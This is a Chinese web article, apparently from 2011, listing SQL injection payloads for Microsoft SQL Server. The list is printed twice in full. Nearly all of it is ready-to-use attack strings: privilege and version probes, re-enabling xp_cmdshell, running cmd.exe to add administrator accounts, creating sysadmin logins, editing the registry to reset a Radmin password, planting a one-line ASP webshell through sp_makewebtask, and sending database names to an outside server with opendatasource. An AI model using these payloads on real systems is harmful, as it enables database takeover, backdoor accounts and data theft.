常用的一些注入命令 方便一下大家
發(fā)布時(shí)間:2011-09-26 00:01:15 作者:佚名
我要評論

常用的一些注入命令 方便一下大家對自己的網(wǎng)站做下安全測試。不建議搞破壞。
我記性不好,所以把常用的注入代碼記錄下來,有點(diǎn)亂,但對我來說,還算很有用,希望大家也會喜歡!
//看看是什么權(quán)限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
//檢測是否有讀取某數(shù)據(jù)庫的權(quán)限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
數(shù)字類型
and char(124)%2Buser%2Bchar(124)=0
字符類型
' and char(124)%2Buser%2Bchar(124)=0 and ''='
搜索類型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
爆用戶名
and user>0
' and user>0 and ''='
檢測是否為SA權(quán)限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
檢測是不是MSSQL數(shù)據(jù)庫
and exists (select * from sysobjects);--
檢測是否支持多行
;declare @d int;--
恢復(fù) xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
//-----------------------
// 執(zhí)行命令
//-----------------------
首先開啟沙盤模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
執(zhí)行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
判斷xp_cmdshell擴(kuò)展存儲過程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
寫注冊表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
REG_SZ
讀注冊表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
讀取目錄內(nèi)容
exec master..xp_dirtree 'c:\winnt\system32\',1,1
數(shù)據(jù)庫備份
backup database pubs to disk = 'c:\123.bak'
//爆出長度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
更改sa口令方法:用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa'
添加和刪除一個(gè)SA權(quán)限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
刪除擴(kuò)展存儲過過程xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell'
添加擴(kuò)展存儲過過程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public
停掉或激活某個(gè)服務(wù)。
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
dbo.xp_subdirs
只列某個(gè)目錄下的子目錄。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab
將目標(biāo)多個(gè)檔案壓縮到某個(gè)目標(biāo)檔案之內(nèi)。
所有要壓縮的檔案都可以接在參數(shù)列的最后方,以逗號隔開。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_terminate_process
停掉某個(gè)執(zhí)行中的程序,但賦予的參數(shù)是 Process ID。
利用”工作管理員”,透過選單「檢視」-「選擇字段」勾選 pid,就可以看到每個(gè)執(zhí)行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab
解開壓縮檔。
xp_unpackcab 'c:\test.cab','c:\temp',1
某機(jī),安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了還是被改名了,net.exe不存在,沒有辦法使用regedit /e 導(dǎo)入注冊文件,但是mssql是sa權(quán)限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密碼為12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 則端口值改為1234
create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);
//得到數(shù)據(jù)庫名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
//在Master中創(chuàng)建表,看看權(quán)限怎樣
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
用 sp_makewebtask直接在web目錄里寫入一句話馬:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
//更新表內(nèi)容
Update films SET kind = 'Dramatic' Where id = 123
//刪除內(nèi)容
delete from table_name where Stockid = 3
//看看是什么權(quán)限的
and 1=(Select IS_MEMBER('db_owner'))
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
//檢測是否有讀取某數(shù)據(jù)庫的權(quán)限
and 1= (Select HAS_DBACCESS('master'))
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
數(shù)字類型
and char(124)%2Buser%2Bchar(124)=0
字符類型
' and char(124)%2Buser%2Bchar(124)=0 and ''='
搜索類型
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
爆用戶名
and user>0
' and user>0 and ''='
檢測是否為SA權(quán)限
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
檢測是不是MSSQL數(shù)據(jù)庫
and exists (select * from sysobjects);--
檢測是否支持多行
;declare @d int;--
恢復(fù) xp_cmdshell
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
//-----------------------
// 執(zhí)行命令
//-----------------------
首先開啟沙盤模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb執(zhí)行系統(tǒng)命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
執(zhí)行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
判斷xp_cmdshell擴(kuò)展存儲過程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
寫注冊表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
REG_SZ
讀注冊表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
讀取目錄內(nèi)容
exec master..xp_dirtree 'c:\winnt\system32\',1,1
數(shù)據(jù)庫備份
backup database pubs to disk = 'c:\123.bak'
//爆出長度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
更改sa口令方法:用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa'
添加和刪除一個(gè)SA權(quán)限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin
刪除擴(kuò)展存儲過過程xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell'
添加擴(kuò)展存儲過過程
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
GRANT exec On xp_proxiedadata TO public
停掉或激活某個(gè)服務(wù)。
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
dbo.xp_subdirs
只列某個(gè)目錄下的子目錄。
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
dbo.xp_makecab
將目標(biāo)多個(gè)檔案壓縮到某個(gè)目標(biāo)檔案之內(nèi)。
所有要壓縮的檔案都可以接在參數(shù)列的最后方,以逗號隔開。
dbo.xp_makecab
'c:\test.cab','mszip',1,
'C:\Inetpub\wwwroot\SQLInject\login.asp',
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
xp_terminate_process
停掉某個(gè)執(zhí)行中的程序,但賦予的參數(shù)是 Process ID。
利用”工作管理員”,透過選單「檢視」-「選擇字段」勾選 pid,就可以看到每個(gè)執(zhí)行程序的 Process ID
xp_terminate_process 2484
xp_unpackcab
解開壓縮檔。
xp_unpackcab 'c:\test.cab','c:\temp',1
某機(jī),安裝了radmin,密碼被修改了,regedit.exe不知道被刪除了還是被改名了,net.exe不存在,沒有辦法使用regedit /e 導(dǎo)入注冊文件,但是mssql是sa權(quán)限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密碼為12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 則端口值改為1234
create database lcx;
Create TABLE ku(name nvarchar(256) null);
Create TABLE biao(id int NULL,name nvarchar(256) null);
//得到數(shù)據(jù)庫名
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
//在Master中創(chuàng)建表,看看權(quán)限怎樣
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
用 sp_makewebtask直接在web目錄里寫入一句話馬:
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
//更新表內(nèi)容
Update films SET kind = 'Dramatic' Where id = 123
//刪除內(nèi)容
delete from table_name where Stockid = 3
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對控制器沒有進(jìn)行足夠的檢測導(dǎo)致的一處getshell,小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語句(完整版)
這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識薄弱或基本功不足就容易導(dǎo)致sql注入安全問題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對于目前流行的sql注入,程序員在編寫程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會自動的記錄下你的IP地址,提交的非法參數(shù)和動作等,2017-04-29
XSS繞過技術(shù) XSS插入繞過一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲、DOM這三類2016-12-27- 這篇文章主要介紹了Python 爬蟲使用動態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08
使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08